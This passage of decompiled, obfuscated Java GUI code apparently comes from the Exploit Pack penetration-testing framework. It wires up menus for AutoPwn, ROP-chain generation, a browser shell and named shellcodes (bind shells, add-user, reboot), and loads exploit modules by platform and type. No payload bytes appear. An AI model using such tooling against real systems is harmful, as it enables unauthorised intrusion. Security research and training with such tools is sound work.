    this.as.setText("GDB Connector");
    this.as.addActionListener((ActionListener)new aV(this));
    this.m.add(this.as);
    this.m.add(this.s);
    this.ac.setAccelerator(KeyStroke.getKeyStroke(87, 3));
    this.ac.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/agent.png")));
    this.ac.setText("Exploit Wizard");
    this.ac.addActionListener((ActionListener)new aW(this));
    this.m.add(this.ac);
    this.ab.setAccelerator(KeyStroke.getKeyStroke(66, 3));
    this.ab.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1476380776_internet-web-browser.png")));
    this.ab.setText("Browser shell");
    this.ab.addActionListener((ActionListener)new aX(this));
    this.m.add(this.ab);
    this.al.setAccelerator(KeyStroke.getKeyStroke(86, 3));
    this.al.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1491936605_wizard.png")));
    this.al.setText("VBS Wizard");
    this.al.addMouseListener((MouseListener)new aY(this));
    this.al.addActionListener((ActionListener)new aZ(this));
    this.m.add(this.al);
    this.af.setAccelerator(KeyStroke.getKeyStroke(78, 3));
    this.af.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/networking2.png")));
    this.af.setText("Network mapper");
    this.af.addActionListener((ActionListener)new bb(this));
    this.m.add(this.af);
    this.m.add(this.t);
    this.f.setAccelerator(KeyStroke.getKeyStroke(80, 3));
    this.f.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/options.png")));
    this.f.setText("Edit preferences");
    this.f.addActionListener((ActionListener)new bc(this));
    this.m.add((JMenuItem)this.f);
    this.a.add((JMenu)this.m);
    this.n.setText("Run");
    this.g.setAccelerator(KeyStroke.getKeyStroke(82, 3));
    this.g.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/run.png")));
    this.g.setText("Resume");
    this.n.add((JMenuItem)this.g);
    this.h.setAccelerator(KeyStroke.getKeyStroke(83, 3));
    this.h.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/stop.png")));
    this.h.setText("Stop");
    this.n.add((JMenuItem)this.h);
    this.n.add(this.f);
    this.i.setAccelerator(KeyStroke.getKeyStroke(68, 3));
    this.i.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/reportbug.png")));
    this.i.setText("Debug");
    this.n.add((JMenuItem)this.i);
    this.n.add(this.l);
    this.M.setAccelerator(KeyStroke.getKeyStroke(65, 9));
    this.M.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/robotauto.png")));
    this.M.setText("AutoPwn");
    this.M.addActionListener((ActionListener)new bd(this));
    this.n.add((JMenuItem)this.M);
    this.a.add((JMenu)this.n);
    this.o.setText("Update");
    this.j.setAccelerator(KeyStroke.getKeyStroke(85, 10));
    this.j.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/checkupdate.png")));
    this.j.setText("Check for updates");
    this.j.addActionListener((ActionListener)new be(this));
    this.o.add((JMenuItem)this.j);
    this.a.add((JMenu)this.o);
    this.q.setText("Exploit Dev");
    this.r.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/scriptgreen.png")));
    this.r.setText("Shellcodes");
    this.b.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/windowslogo.png")));
    this.b.setText("Windows");
    this.r.setText("x86.w32.adduser");
    this.r.addActionListener((ActionListener)new bf(this));
    this.b.add((JMenuItem)this.r);
    this.s.setText("x86.w32.tcp4444");
    this.s.addActionListener((ActionListener)new bg(this));
    this.b.add((JMenuItem)this.s);
    this.t.setText("x86.w32.cmd");
    this.t.addActionListener((ActionListener)new bh(this));
    this.b.add((JMenuItem)this.t);
    this.u.setText("x86.w32.egghunter");
    this.u.addActionListener((ActionListener)new bi(this));
    this.b.add((JMenuItem)this.u);
    this.v.setText("x86.w32.msg");
    this.v.addActionListener((ActionListener)new bj(this));
    this.b.add((JMenuItem)this.v);
    this.r.add((JMenuItem)this.b);
    this.d.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/linuxlogo.png")));
    this.d.setText("GNU/Linux");
    this.x.setText("x86.linux.bind4444");
    this.x.addActionListener((ActionListener)new bk(this));
    this.d.add((JMenuItem)this.x);
    this.y.setText("x86.linux.adduser");
    this.y.addActionListener((ActionListener)new bm(this));
    this.d.add((JMenuItem)this.y);
    this.z.setText("x86.linux.bindsh");
    this.z.addActionListener((ActionListener)new bn(this));
    this.d.add((JMenuItem)this.z);
    this.r.add((JMenuItem)this.d);
    this.e.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/bsdlogo.png")));
    this.e.setText("BSD");
    this.A.setText("x86.bsd.bind4444");
    this.A.addActionListener((ActionListener)new bo(this));
    this.e.add((JMenuItem)this.A);
    this.B.setText("x86.bsd.suidsh");
    this.B.addActionListener((ActionListener)new bp(this));
    this.e.add((JMenuItem)this.B);
    this.r.add((JMenuItem)this.e);
    this.f.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/maclogo.png")));
    this.f.setText("Mac OSX");
    this.E.setText("x86.osx.bindsh");
    this.E.addActionListener((ActionListener)new bq(this));
    this.f.add((JMenuItem)this.E);
    this.F.setText("x86.osx.reboot");
    this.F.addActionListener((ActionListener)new br(this));
    this.f.add((JMenuItem)this.F);
    this.r.add((JMenuItem)this.f);
    this.q.add((JMenuItem)this.r);
    this.q.add(this.j);
    this.g.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/opcode.png")));
    this.g.setText("Junk code");
    this.G.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1418843055_bug.png")));
    this.G.setText("NOPsled x90");
    this.G.addActionListener((ActionListener)new bs(this));
    this.g.add((JMenuItem)this.G);
    this.I.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1418843055_bug.png")));
    this.I.setText("NOPsled x60");
    this.I.addActionListener((ActionListener)new bt(this));
    this.g.add((JMenuItem)this.I);
    this.J.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1418843055_bug.png")));
    this.J.setText("A's x41");
    this.J.addActionListener((ActionListener)new bu(this));
    this.g.add((JMenuItem)this.J);
    this.K.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1418843055_bug.png")));
    this.K.setText("B's x42");
    this.K.addActionListener((ActionListener)new bv(this));
    this.g.add((JMenuItem)this.K);
    this.q.add((JMenuItem)this.g);
    this.j.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/shellcodescript.png")));
    this.j.setText("Pattern");
    this.aj.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1418844177_notepad_(edit)_16x16.gif")));
    this.aj.setText("Add pattern");
    this.aj.addActionListener((ActionListener)new bx(this));
    this.j.add(this.aj);
    this.ak.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1421275146_10_Search_16x16.png")));
    this.ak.setText("Check offset");
    this.ak.addActionListener((ActionListener)new by(this));
    this.j.add(this.ak);
    this.q.add((JMenuItem)this.j);
    this.aa.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1476371476_anonymous.png")));
    this.aa.setText("Badchars");
    this.aa.addActionListener((ActionListener)new bz(this));
    this.q.add(this.aa);
    this.q.add(this.C);
    this.ap.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/iconfinder_bug__virus__insect__ladybug_2542079.png")));
    this.ap.setText("GDB Connector");
    this.ap.addActionListener((ActionListener)new bA(this));
    this.q.add(this.ap);
    this.C.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_50_Browser_106194.png")));
    this.C.setText("Generate ROP Chain");
    this.C.addActionListener((ActionListener)new bB(this));
    this.q.add((JMenuItem)this.C);
    this.av.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1411401061_arrow_top.png")));
    this.av.setText("Send to remote shell");
    this.av.addActionListener((ActionListener)new bC(this));
    this.q.add(this.av);
    this.a.add((JMenu)this.q);
    this.c.setText("Websites");
    this.T.setAccelerator(KeyStroke.getKeyStroke(84, 10));
    this.T.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png")));
    this.T.setText("Exploit Pack");
    this.T.addActionListener((ActionListener)new bD(this));
    this.c.add((JMenuItem)this.T);
    this.c.add(this.n);
    this.U.setAccelerator(KeyStroke.getKeyStroke(77, 3));
    this.U.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png")));
    this.U.setText("Corelan Team");
    this.U.addActionListener((ActionListener)new bE(this));
    this.c.add((JMenuItem)this.U);
    this.c.add(this.o);
    this.V.setAccelerator(KeyStroke.getKeyStroke(67, 3));
    this.V.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png")));
    this.V.setText("Exploit - DB");
    this.V.addActionListener((ActionListener)new bF(this));
    this.c.add((JMenuItem)this.V);
    this.c.add(this.p);
    this.W.setAccelerator(KeyStroke.getKeyStroke(67, 3));
    this.W.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png")));
    this.W.setText("Security Focus");
    this.W.addActionListener((ActionListener)new bG(this));
    this.c.add(this.W);
    this.c.add(this.q);
    this.X.setAccelerator(KeyStroke.getKeyStroke(67, 3));
    this.X.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png")));
    this.X.setText("Full Disclosure");
    this.X.addActionListener((ActionListener)new bI(this));
    this.c.add(this.X);
    this.c.add(this.A);
    this.aq.setAccelerator(KeyStroke.getKeyStroke(67, 3));
    this.aq.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1429284529_text-html.png")));
    this.aq.setText("Black-Arch Linux");
    this.aq.addActionListener((ActionListener)new bJ(this));
    this.c.add(this.aq);
    this.a.add((JMenu)this.c);
    this.h.setText("Practice CTF");
    this.Z.setAccelerator(KeyStroke.getKeyStroke(84, 10));
    this.Z.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_flag_309070.png")));
    this.Z.setText("Pwnable.TW");
    this.Z.addActionListener((ActionListener)new bK(this));
    this.h.add(this.Z);
    this.h.add(this.w);
    this.ai.setAccelerator(KeyStroke.getKeyStroke(77, 3));
    this.ai.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_flag_309070.png")));
    this.ai.setText("Pico CTF");
    this.ai.addActionListener((ActionListener)new bL(this));
    this.h.add(this.ai);
    this.h.add(this.x);
    this.am.setAccelerator(KeyStroke.getKeyStroke(67, 3));
    this.am.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_flag_309070.png")));
    this.am.setText("Vuln HUB");
    this.am.addActionListener((ActionListener)new bM(this));
    this.h.add(this.am);
    this.h.add(this.y);
    this.an.setAccelerator(KeyStroke.getKeyStroke(67, 3));
    this.an.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_flag_309070.png")));
    this.an.setText("ReversingKR");
    this.an.addActionListener((ActionListener)new bN(this));
    this.h.add(this.an);
    this.a.add((JMenu)this.h);
    this.p.setText("Help");
    this.k.setAccelerator(KeyStroke.getKeyStroke(72, 3));
    this.k.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/users.png")));
    this.k.setText("Support tickets");
    this.k.addActionListener((ActionListener)new bO(this));
    this.p.add((JMenuItem)this.k);
    this.p.add(this.r);
    this.m.setAccelerator(KeyStroke.getKeyStroke(66, 9));
    this.m.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/help.png")));
    this.m.setText("Exploit Pack Manual");
    this.m.addActionListener((ActionListener)new bP(this));
    this.p.add((JMenuItem)this.m);
    this.p.add(this.g);
    this.n.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/checkupdate.png")));
    this.n.setText("Update manager");
    this.n.addActionListener((ActionListener)new bQ(this));
    this.p.add((JMenuItem)this.n);
    this.p.add(this.h);
    this.L.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1316134599_chart_bar.png")));
    this.L.setText("View log");
    this.L.addActionListener((ActionListener)new bR(this));
    this.p.add((JMenuItem)this.L);
    this.p.add(this.k);
    this.ar.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/iconfinder_SocialMedia_Discord-Outline_2959743.png")));
    this.ar.setText("Join discord community chat");
    this.ar.addActionListener((ActionListener)new bT(this));
    this.p.add(this.ar);
    this.p.add(this.B);
    this.q.setAccelerator(KeyStroke.getKeyStroke(84, 10));
    this.q.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/iconfinder_06_Idea_2064481.png")));
    this.q.setText("Trainings");
    this.q.addActionListener((ActionListener)new bU(this));
    this.p.add((JMenuItem)this.q);
    this.p.add(this.i);
    this.p.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/registerkey.png")));
    this.p.setText("Activate your copy");
    this.p.addActionListener((ActionListener)new bV(this));
    this.p.add((JMenuItem)this.p);
    this.p.add(this.D);
    this.at.setAccelerator(KeyStroke.getKeyStroke(72, 10));
    this.at.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/buglittle.png")));
    this.at.setText("About Exploit Pack");
    this.at.addActionListener((ActionListener)new bW(this));
    this.p.add(this.at);
    this.a.add((JMenu)this.p);
    setJMenuBar((JMenuBar)this.a);
    groupLayout1 = new GroupLayout(getContentPane());
    getContentPane().setLayout(groupLayout1);
    groupLayout1.setHorizontalGroup(groupLayout1.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout1.createSequentialGroup().addContainerGap().addGroup(groupLayout1.createParallelGroup(GroupLayout.Alignment.LEADING, false).addComponent(this.a, -1, -1, 32767).addComponent(this.M, -1, -1, 32767)).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addGroup(groupLayout1.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout1.createSequentialGroup().addComponent(this.o, -2, -1, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.p, -2, -1, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addGroup(groupLayout1.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.b, -2, 0, 32767).addComponent(this.E, -1, -1, 32767)).addContainerGap()).addComponent(this.a, -2, 0, 32767))).addComponent(this.a, -1, -1, 32767));
    groupLayout1.setVerticalGroup(groupLayout1.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout1.createSequentialGroup().addComponent(this.a, -2, 33, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addGroup(groupLayout1.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout1.createSequentialGroup().addComponent(this.a, -1, -1, 32767).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.M, -2, -1, -2).addGap(10, 10, 10)).addGroup(groupLayout1.createSequentialGroup().addComponent(this.a).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addGroup(groupLayout1.createParallelGroup(GroupLayout.Alignment.LEADING, false).addGroup(groupLayout1.createParallelGroup(GroupLayout.Alignment.TRAILING).addComponent(this.p, -2, -1, -2).addComponent(this.o, -2, -1, -2)).addGroup(groupLayout1.createSequentialGroup().addComponent(this.b, -2, 151, -2).addGap(0, 0, 0).addComponent(this.E, -2, -1, -2))).addContainerGap()))));
    pack();
  }
  
  private void u() {
    String str = "exploits/";
    File[] arrayOfFile = (new File(str)).listFiles();
    this.o.append("[" + this.K + "] Modules successfully loaded: OK\n");
    DefaultTreeModel defaultTreeModel1;
    ((DefaultMutableTreeNode)((DefaultTreeModel)this.a.getModel()).getChild((defaultTreeModel1 = (DefaultTreeModel)this.a.getModel()).getRoot(), 0)).removeAllChildren();
    defaultTreeModel1.reload();
    DefaultTreeModel defaultTreeModel2;
    ((DefaultMutableTreeNode)((DefaultTreeModel)this.g.getModel()).getChild((defaultTreeModel2 = (DefaultTreeModel)this.g.getModel()).getRoot(), 0)).removeAllChildren();
    defaultTreeModel2.reload();
    DefaultTreeModel defaultTreeModel3;
    ((DefaultMutableTreeNode)((DefaultTreeModel)this.h.getModel()).getChild((defaultTreeModel3 = (DefaultTreeModel)this.h.getModel()).getRoot(), 0)).removeAllChildren();
    defaultTreeModel3.reload();
    DefaultTreeModel defaultTreeModel4;
    ((DefaultMutableTreeNode)((DefaultTreeModel)this.f.getModel()).getChild((defaultTreeModel4 = (DefaultTreeModel)this.f.getModel()).getRoot(), 0)).removeAllChildren();
    defaultTreeModel4.reload();
    for (byte b = 0; b < arrayOfFile.length; b++) {
      if (arrayOfFile[b].isFile() && ((str = arrayOfFile[b].getName()).endsWith(".xml") || str.endsWith(".XML"))) {
        this.a = (JTree)new gi();
        this.a.c(str);
        if (((gi)this.a).R.equals("notepad")) {
          DefaultMutableTreeNode defaultMutableTreeNode4;
          str = null;
          DefaultMutableTreeNode defaultMutableTreeNode5 = (DefaultMutableTreeNode)defaultTreeModel2.getChild(defaultTreeModel2.getRoot(), 0);
          if (((gi)this.a).o.equals("windows"))
            if (((gi)this.a).u.equals("owned")) {
              defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
            } else {
              defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
            }  
          if (((gi)this.a).o.equals("linux"))
            if (((gi)this.a).u.equals("owned")) {
              defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
            } else {
              defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
            }  
          if (((gi)this.a).o.equals("osx"))
            if (((gi)this.a).u.equals("owned")) {
              defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
            } else {
              defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
            }  
          if (((gi)this.a).o.equals("bsd"))
            if (((gi)this.a).u.equals("owned")) {
              defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
            } else {
              defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
            }  
          if (((gi)this.a).o.equals("mobile"))
            if (((gi)this.a).u.equals("owned")) {
              defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
            } else {
              defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
            }  
          defaultMutableTreeNode5.add(defaultMutableTreeNode4);
          defaultTreeModel1.reload(defaultMutableTreeNode5);
        } else {
          ((DefaultMutableTreeNode)defaultTreeModel2.getChild(defaultTreeModel2.getRoot(), 0)).getChildCount();
        } 
        if (((gi)this.a).o.equals("tools")) {
          DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 0);
          DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
          defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          defaultTreeModel1.reload(defaultMutableTreeNode4);
        } else {
          ((DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 0)).getChildCount();
        } 
        if (((gi)this.a).o.equals("dos")) {
          DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 1);
          DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
          defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          defaultTreeModel1.reload(defaultMutableTreeNode4);
        } else {
          ((DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 1)).getChildCount();
        } 
        if (((gi)this.a).o.equals("others")) {
          DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 2);
          DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
          defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          defaultTreeModel1.reload(defaultMutableTreeNode4);
        } 
        if (((gi)this.a).o.equals("exc")) {
          DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 3);
          DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
          defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          defaultTreeModel1.reload(defaultMutableTreeNode4);
        } 
        if (((gi)this.a).o.equals("privesc")) {
          DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 4);
          DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
          defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          defaultTreeModel1.reload(defaultMutableTreeNode4);
        } else {
          ((DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 2)).getChildCount();
        } 
        if (((gi)this.a).o.equals("0day_PremiumPack")) {
          DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 1);
          DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
          defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          defaultTreeModel1.reload(defaultMutableTreeNode4);
        } 
        if (((gi)this.a).o.equals("aix")) {
          DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 2);
          if (((gi)this.a).R.equals("dos")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("local")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("remote")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("webapps")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          defaultTreeModel1.reload(defaultMutableTreeNode);
        } 
        if (((gi)this.a).o.equals("alpha")) {
          DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 3);
          if (((gi)this.a).R.equals("dos")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("local")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("remote")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("webapps")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          defaultTreeModel1.reload(defaultMutableTreeNode);
        } 
        if (((gi)this.a).o.equals("android")) {
          DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 4);
          if (((gi)this.a).R.equals("dos")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("local")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("remote")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("webapps")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          defaultTreeModel1.reload(defaultMutableTreeNode);
        } 
        if (((gi)this.a).o.equals("arm")) {
          DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 5);
          if (((gi)this.a).R.equals("dos")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("local")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("remote")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("webapps")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          defaultTreeModel1.reload(defaultMutableTreeNode);
        } 
        if (((gi)this.a).o.equals("ashx")) {
          DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 6);
          if (((gi)this.a).R.equals("dos")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("local")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("remote")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("webapps")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          defaultTreeModel1.reload(defaultMutableTreeNode);
        } 
        if (((gi)this.a).o.equals("asp")) {
